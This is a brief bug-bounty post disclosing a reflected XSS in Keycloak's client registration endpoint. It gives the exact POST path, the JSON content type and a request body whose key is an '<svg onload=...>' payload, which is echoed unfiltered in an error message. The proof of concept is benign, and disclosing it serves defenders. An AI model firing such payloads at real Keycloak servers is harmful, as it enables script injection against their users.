Keycloak POST-based Reflected XSS

1. POST /auth/realms/master/clientsregistrations/openid-connect
2. Content-Type: application/json
3. Request {"<svg onload=alert(document.domain)>":1}
4. Unfiltered user-input in error message will triggered XSS

#bugbounty #keycloak #xss